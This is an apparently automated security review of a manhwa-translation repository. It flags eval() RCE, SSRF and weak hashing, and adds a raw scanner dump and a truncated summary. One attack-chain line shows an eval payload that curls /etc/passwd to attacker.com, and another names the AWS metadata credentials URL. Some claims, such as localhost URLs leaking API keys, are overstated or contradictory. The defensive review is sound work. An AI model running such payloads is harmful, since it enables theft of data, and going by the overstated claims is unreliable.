Review ID: 7b9e52e0b2daGenerated: 2026-05-24T20:57:24.263Z
CHANGES REQUESTED
1469
Raw Findings
10
Critical
150
High
8
Medium
25
Low
6 Tools Deployed
DiamondPlatinumGoldSilverBronzeHR RoastyFree Baseline
Free Baseline Scan — Open-source tools + Hyrex
AFutureProgrammer/manhwaLocaliser →
2026-05-23-332x @ 8d15320
AIAI Threat Analysis
# SECURITY REVIEW: AFutureProgrammer/manhwaLocaliser
REAL THREATS
CODE INJECTION (CRITICAL - IMMEDIATE FIX REQUIRED)
[7] memory/models.py:111 - Use of eval() [8] memory/promotion.py:23 - Use of eval()
These are REMOTE CODE EXECUTION vulnerabilities. eval() executes arbitrary Python code. If any user input reaches these calls, an attacker gains full system access. They can:
• Steal all data on the server
• Install malware/ransomware
• Pivot to other systems on your network
• Use your server for crypto mining or bot attacks
Even if you think the input is "trusted," this is a critical flaw. Trust boundaries break. FIX IMMEDIATELY.
SERVER-SIDE REQUEST FORGERY (HIGH - EXPLOITATION LIKELY)
[48] backend/core/sources/naver.py:107 - User-controlled URL in HTTP request
SSRF lets attackers make your server request arbitrary URLs. They can:
• Scan your internal network (AWS metadata endpoints, internal services)
• Bypass firewalls to access internal resources
• Exfiltrate credentials from cloud metadata (AWS keys, etc.)
• Use your server as a proxy for attacks
This is especially dangerous in cloud environments where metadata endpoints expose credentials.
WEAK CRYPTOGRAPHY (MEDIUM - DATA EXPOSURE RISK)
[165] backend/engine.py:880 - MD5/SHA1 hash algorithm
If this is used for:
Password hashing: CRITICAL - passwords can be cracked in hours
Data integrity: HIGH - collisions can be forged
Non-security (checksums): LOW - acceptable
MD5/SHA1 are cryptographically broken. For security contexts, use bcrypt/argon2 (passwords) or SHA-256+ (integrity).
DEVELOPMENT ARTIFACTS IN PRODUCTION (MEDIUM)
[62] backend/core/translation.py:169 - System Wildcard Detected
Wildcard imports (from module import *) can expose dangerous functions or create naming collisions that lead to security bugs. Not directly exploitable but increases attack surface.
Multiple localhost/HTTP findings: These suggest development code in production. If localhost URLs fail over to attacker-controlled alternatives or HTTP is used where HTTPS should be, data leaks occur.
ATTACK CHAINS
Chain 1: SSRF → Internal Credential Theft
• [48] SSRF vulnerability allows requesting internal URLs
• Attacker requests http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS)
• Attacker obtains AWS credentials
• Full AWS account compromise
Chain 2: Code Injection → Data Exfiltration
• [7] or [8] eval() vulnerability exploited
• Attacker executes: eval("__import__('os').system('curl attacker.com/exfil?data=$(cat /etc/passwd)')")
• All server data exfiltrated
• Persistent backdoor installed
VERDICT
NOT SAFE TO DEPLOY IN CURRENT STATE.
The two eval() calls are show-stoppers. These are textbook RCE vulnerabilities that will be found and exploited. This isn't theoretical—automated scanners actively hunt for these patterns.
Must Fix Before ANY Deployment:
1. [7, 8] Remove all eval() calls. Use ast.literal_eval() for safe literal parsing, or JSON/YAML parsers. If you need dynamic code, use sandboxed execution or plugin architectures.
2. [48] Implement URL allowlisting for the SSRF vulnerability. Never trust user input in HTTP requests.
Fix Within 48 Hours of Deployment:
3. [165] Replace MD5/SHA1 with modern algorithms. Audit what it's securing.
Technical Debt (Fix Next Sprint):
4. Remove localhost URLs and ensure HTTPS everywhere
5. Eliminate wildcard imports
6. Clean up development artifacts
False Positive Notes:
• 140+ "Changed Semgrepignore" findings are scanner noise
• "Weak or deprecated cipher" in markdown/JSON files are likely false positives (documentation containing the words, not actual crypto)
• "Use Escapexml" in TSX files are likely React false positives (React auto-escapes)
• "Insecure Http Request" in docs/configs may be examples, not live code
Bottom Line: Two critical RCE vulnerabilities make this a hacker's paradise. Fix the eval() calls and SSRF, or don't deploy. Everything else is secondary.
1469 raw scanner findings — 10 critical · 150 high · 8 medium · 25 low · 1276 info
Raw Scanner Output — 1469 pre-cleanup findings
⚠ Pre-Cleanup Report
This is the raw, unprocessed output from all scanner agents before AI analysis. Do not use this to fix issues individually. Multiple agents attack from different angles and frequently report the same underlying vulnerability, resulting in significant duplication. Architectural issues also appear as many separate line-level findings when they require a single structural fix.

Use the Copy Fix Workflow button above to get the AI-cleaned workflow — it deduplicates findings, removes false positives, and provides actionable steps. This raw output is provided for transparency and audit purposes only.
Showing top 1000 of 1469 findings (sorted by severity). Full data available via the review API.
HIGHChanged Semgrepignore
[redacted]/AGENTS.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHGlobal Access Modifiers
[redacted]/AGENTS.md.md:1
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHWeak or deprecated cipher
[redacted]/AGENTS.md.md:36
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in AGENTS.md.md at line 36.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/__init__.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/api.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/__init__.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/bubble_smudge_cleaner.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/bubble_smudge_cleaner.py:138
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/bubble_smudge_cleaner.py at line 138.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/cleanup.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/cleanup.py:628
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/cleanup.py at line 628.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHGlobal Access Modifiers
[redacted]/cleanup.py:1032
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHChanged Semgrepignore
[redacted]/cleanup_failure_taxonomy.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/manifest.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/manifest.json:3
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/cleanup_fixtures/manifest.json at line 3.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/cleanup_plan.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/cleanup_plan.py:12
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/cleanup_plan.py at line 12.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHGlobal Access Modifiers
[redacted]/cleanup_plan.py:78
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHChanged Semgrepignore
[redacted]/config.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/config.py:139
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/config.py at line 139.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHLocalhost Base Url
[redacted]/config.py:160
[AGENTS: rules-engine]code_quality
The 'baseURL' is set to localhost. This may cause links to not work if deployed.
HIGHChanged Semgrepignore
[redacted]/constants.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHLocalhost Base Url
[redacted]/constants.py:13
[AGENTS: baseline:flake8 - rules-engine]code_quality
The 'baseURL' is set to localhost. This may cause links to not work if deployed.
HIGHChanged Semgrepignore
[redacted]/deepseek_translate.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/iopaint_client.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/ocr.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/project.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/project.py:297
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/project.py at line 297.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/manifest.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/manifest.json:2
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/raw_style_fixtures/manifest.json at line 2.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/regions.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/regions.py:51
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/regions.py at line 51.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/sam2_mask.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHGlobal Access Modifiers
[redacted]/sam2_mask.py:234
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHChanged Semgrepignore
[redacted]/__init__.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHGlobal Access Modifiers
[redacted]/__init__.py:32
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHChanged Semgrepignore
[redacted]/base.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/base.py:133
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/sources/base.py at line 133.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/naver.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHSSRF — user-controlled URL in HTTP request
[redacted]/naver.py:107
[AGENTS: rules-engine]security
HTTP request with user-controlled URL in backend/core/sources/naver.py at line 107 enables SSRF attacks.
Suggested Fix
Validate URLs against an allowlist. Block private/internal IP ranges.
HIGHWeak or deprecated cipher
[redacted]/naver.py:500
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/sources/naver.py at line 500.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/test_cleanup_failure_taxonomy.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/test_cleanup_fixtures.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/test_cleanup_fixtures.py:89
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/test_cleanup_fixtures.py at line 89.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/test_cleanup_pipeline.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHLocalhost Base Url
[redacted]/test_cleanup_pipeline.py:461
[AGENTS: rules-engine]code_quality
The 'baseURL' is set to localhost. This may cause links to not work if deployed.
HIGHWeak or deprecated cipher
[redacted]/test_cleanup_pipeline.py:566
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/test_cleanup_pipeline.py at line 566.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/test_cleanup_tuner.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/test_cleanup_tuner.py:113
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/test_cleanup_tuner.py at line 113.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/test_raw_style_matching.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/text_utils.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/translation.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/translation.py:30
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/core/translation.py at line 30.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHSystem Wildcard Detected
[redacted]/translation.py:169
[AGENTS: rules-engine]security
Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information.
Suggested Fix
See CWE-155: Improper Neutralization of Wildcards or Matching Symbols
HIGHChanged Semgrepignore
[redacted]/typesetting.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/engine.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/engine.py:363
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/engine.py at line 363.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/engineOG.py:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHLocalhost Base Url
[redacted]/engineOG.py:120
[AGENTS: rules-engine]code_quality
The 'baseURL' is set to localhost. This may cause links to not work if deployed.
HIGHWeak or deprecated cipher
[redacted]/engineOG.py:149
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in backend/engineOG.py at line 149.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHGlobal Access Modifiers
[redacted]/engineOG.py:933
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHChanged Semgrepignore
[redacted]/AGENT_CONTEXT.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/AGENT_CONTEXT.md:9
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in docs/AGENT_CONTEXT.md at line 9.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHLocalhost Base Url
[redacted]/AGENT_CONTEXT.md:142
[AGENTS: rules-engine]code_quality
The 'baseURL' is set to localhost. This may cause links to not work if deployed.
HIGHGlobal Access Modifiers
[redacted]/AGENT_CONTEXT.md:421
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHChanged Semgrepignore
[redacted]/CONTRIBUTING.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/CONTRIBUTING.md:3
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in docs/CONTRIBUTING.md at line 3.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/ISSUE_TRIAGE.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/OFFLINE_MODE.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/RELEASE.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/SECURITY.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/index.html:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/package-lock.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/package.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/package.json:5
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in frontend/package.json at line 5.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/App.tsx:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHGlobal Access Modifiers
[redacted]/App.tsx:40
[AGENTS: rules-engine]code_quality
Global classes, methods, and variables should be avoided (especially in managed packages) as they can never be deleted or changed in signature. Always check twice if something needs to be global.
Suggested Fix
See CWE-284: Improper Access Control
HIGHUse Escapexml
[redacted]/App.tsx:436
[AGENTS: rules-engine]security
Detected an Expression Language segment that does not escape output. This is dangerous because if any data in this expression can be controlled externally, it is a cross-site scripting vulnerability. Instead, use the 'escapeXml' function from the JSTL taglib. See https://www.tutorialspoint.com/jsp/jstl_function_escapexml.htm for more information.
Suggested Fix
See CWE-116: Improper Encoding or Escaping of Output
HIGHWeak or deprecated cipher
[redacted]/App.tsx:502
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in frontend/src/App.tsx at line 502.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHUse Jstl Escaping
[redacted]/App.tsx:760
[AGENTS: rules-engine]security
Detected an Expression Language segment in a tag that does not escape output. This is dangerous because if any data in this expression can be controlled externally, it is a cross-site scripting vulnerability. Instead, use the 'out' tag from the JSTL taglib to escape this expression. See https://www.tutorialspoint.com/jsp/jstl_core_out_tag.htm for more information.
Suggested Fix
See CWE-116: Improper Encoding or Escaping of Output
HIGHChanged Semgrepignore
[redacted]/api.ts:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/api.ts:6
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in frontend/src/api.ts at line 6.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHUse Escapexml
[redacted]/api.ts:290
[AGENTS: rules-engine]security
Detected an Expression Language segment that does not escape output. This is dangerous because if any data in this expression can be controlled externally, it is a cross-site scripting vulnerability. Instead, use the 'escapeXml' function from the JSTL taglib. See https://www.tutorialspoint.com/jsp/jstl_function_escapexml.htm for more information.
Suggested Fix
See CWE-116: Improper Encoding or Escaping of Output
HIGHChanged Semgrepignore
[redacted]/api_sync.ts:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHUse Escapexml
[redacted]/api_sync.ts:30
[AGENTS: rules-engine]security
Detected an Expression Language segment that does not escape output. This is dangerous because if any data in this expression can be controlled externally, it is a cross-site scripting vulnerability. Instead, use the 'escapeXml' function from the JSTL taglib. See https://www.tutorialspoint.com/jsp/jstl_function_escapexml.htm for more information.
Suggested Fix
See CWE-116: Improper Encoding or Escaping of Output
HIGHChanged Semgrepignore
[redacted]/BrowseModal.tsx:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHUse Escapexml
[redacted]/BrowseModal.tsx:175
[AGENTS: rules-engine]security
Detected an Expression Language segment that does not escape output. This is dangerous because if any data in this expression can be controlled externally, it is a cross-site scripting vulnerability. Instead, use the 'escapeXml' function from the JSTL taglib. See https://www.tutorialspoint.com/jsp/jstl_function_escapexml.htm for more information.
Suggested Fix
See CWE-116: Improper Encoding or Escaping of Output
HIGHChanged Semgrepignore
[redacted]/SeriesDetailPanel.tsx:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHUse Escapexml
[redacted]/SeriesDetailPanel.tsx:29
[AGENTS: rules-engine]security
Detected an Expression Language segment that does not escape output. This is dangerous because if any data in this expression can be controlled externally, it is a cross-site scripting vulnerability. Instead, use the 'escapeXml' function from the JSTL taglib. See https://www.tutorialspoint.com/jsp/jstl_function_escapexml.htm for more information.
Suggested Fix
See CWE-116: Improper Encoding or Escaping of Output
HIGHChanged Semgrepignore
[redacted]/main.tsx:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/types.ts:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/types.ts:378
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in frontend/src/types.ts at line 378.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/types_sync.ts:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/types_sync.ts:35
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in frontend/src/types_sync.ts at line 35.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHChanged Semgrepignore
[redacted]/tsconfig.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/tsconfig.node.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/vite.config.ts:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/handoff.json:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHChanged Semgrepignore
[redacted]/implementation_plan.md:1
[AGENTS: rules-engine]code_quality
`$1` has been added to the .semgrepignore list of ignored paths. Someone from app-sec may want to audit these changes.
HIGHWeak or deprecated cipher
[redacted]/implementation_plan.md:214
[AGENTS: rules-engine]security
Weak cipher mode/algorithm in implementation_plan.md at line 214.
Suggested Fix
Use AES-GCM or ChaCha20-Poly1305 instead.
HIGHSSRF — user-controlled URL in HTTP request
[redacted]/implementation_plan.md:268
[AGENTS: rules-engine]security
HTTP request with user-controlled URL in implementation_plan.md at line 268 enables SSRF attacks.
Suggested Fix
Validate URLs against an allowlist. Block private/internal IP ranges.

Summary

Of course. Here is the security analysis of the provided code, synthesized from the static analysis findings. ### Executive Summary The codebase exhibits several critical and high-severity security vulnerabilities. The most pressing issues are the use of `eval()` for code execution, insecure HTTP communications that could leak API keys, and a Server-Side Request Forgery (SSRF) vulnerability. Additionally, there are widespread configuration issues (e.g., localhost URLs) and the use of weak cryptographic ciphers. The presence of a `.semgrepignore` file that ignores many files is a significant red flag, suggesting a deliberate attempt to bypass security scanning. --- ### 1. Critical: Arbitrary Code Execution via `eval()` **Root Cause:** The use of Python's built-in `eval()` function on potentially user-controlled or untrusted data. **Affected Files:** - `memory/models.py:111` - `memory/promotion.py:23` **Real-World Impact:** An attacker who can control the input passed to `eval()` can execute arbitrary Python code on the server. This can lead to complete system compromise, including data exfiltration, installation of backdoors, and lateral movement within the network. This is a classic Remote Code Execution (RCE) vulnerability. **Actionable Fix:** Replace `eval()` with safer alternatives. If the code is evaluating simple expressions, use `ast.literal_eval()` for safe evaluation of literals. If it's parsing a domain-specific language, use a proper parser. If it's dynamically calling functions, use a dictionary mapping. **Code Example (Before & After):** ```python # BAD (memory/models.py:111) result = eval(user_input) # GOOD (Option 1: Safe literal evaluation) import ast try: result = ast.literal_eval(user_input) except (ValueError, SyntaxError): # Handle invalid input pass # GOOD (Option 2: Function dispatch) function_map = { "add": lambda x, y: x + y, "subtract": lambda x, y: x - y, } if user_input in function_map: result = function_map[user_input](arg1, arg2) ``` --- ### 2. Critical: Insecure HTTP Communications (API Key Leakage) **Root Cause:** The application uses `http://` instead of `https://` for API endpoints, transmitting sensitive data (including API keys) in cleartext. **Affected Files:** - `backend/core/config.py:160` - `backend/core/constants.py:13` - `backend/core/test_cleanup_pipeline.py:461` - `backend/engineOG.py:120` - `docs/AGENT_CONTEXT.md:142` - `launcher.py:83` - `memory/engine.py:96` - `model_config.json:18` **Real-World Impact:** An attacker on the same network (e.g., public Wi-Fi, compromised router) can perform a man-in-the-middle (MITM) attack to intercept API keys, authentication tokens, and other sensitive data transmitted to these endpoints. This can lead to unauthorized access to third-party services (e.g., DeepSeek, OpenAI) and financial loss. **Actionable Fix:** Change all `http://` URLs to `https://`. Ensure that the backend services support HTTPS. If they do not, this is a critical blocker and the services should be replaced or proxied through a secure gateway. **Code Example (Before & After):** ```python # BAD (backend/core/config.py:160) BASE_URL = "http://localhost:11434" # GOOD BASE_URL = "https://localhost:11434" # If the service supports HTTPS # OR BASE_URL = "https://api.ollama.example.com" # Use a secure, public endpoint ``` --- ### 3. High: Server-Side Request Forgery (SSRF) **Root Cause:** The application constructs an HTTP request URL using user-controlled input without proper validation. **Affected File:** - `backend/core/sources/naver.py:107` **Real-World Impact:** An attacker can make the server send requests to arbitrary internal or external URLs. This can be used to: - Scan internal networks and services (e.g., `http://localhost:8080`, `http://169.254.169.254/latest/meta-data/` for cloud metadata). - Access internal APIs that are not meant to be public. - Perform port scanning of the internal network. **Actionable Fix:** Implement a strict allowlist of allowed domains or URL patterns. Validate the user input against this allowlist before making the request. Avoid using user input directly in the URL. **Code Example (Before & After):** ```python # BAD (backend/core/sources/naver.py:107) response = requests.get(user_provided_url) # GOOD ALLOWED_DOMAINS = ["api.naver.com", "www.naver.com"] from urllib.parse import urlparse parsed_url = urlparse(user_provided_url) if parsed_url.netloc not in ALLOWED_DOMAINS: raise ValueError("URL not allowed") response = requests.get(user_provided_url) ``` --- ### 4. High: Bypassed Security Scanning (`.semgrepignore`) **Root Cause:** A `.semgrepignore` file has been created that explicitly excludes many critical files from security scanning. **Affected Files:** - `AGENTS.md:1` - `backend/__init__.py:1` - `backend/api.py:1` - `backend/core/__init__.py:1` - `backend/core/bubble_smudge_cleaner.py:1` - `backend/core/cleanup.py:1` - `backend/core/cleanup_failure_taxonomy.py:1` - `backend/core/cleanup_fixtures/manifest.json:1` - `backend/core/cleanup_plan.py:1` - `backend/core/config.py:1` - `backend/core/constants.py:1` - `backend/core/deepseek_translate.py:1` - `backend/core/iopaint_client.py:1` - `backend/core/ocr.py:1` - `backend/core/project.py:1` - `backend/core/raw_style_fixtures/manifest.json:1` - `backend/core/regions.py:1` - `backend/core/sam2_mask.py:1` - `backend/core/sources/__init__.py:1` - 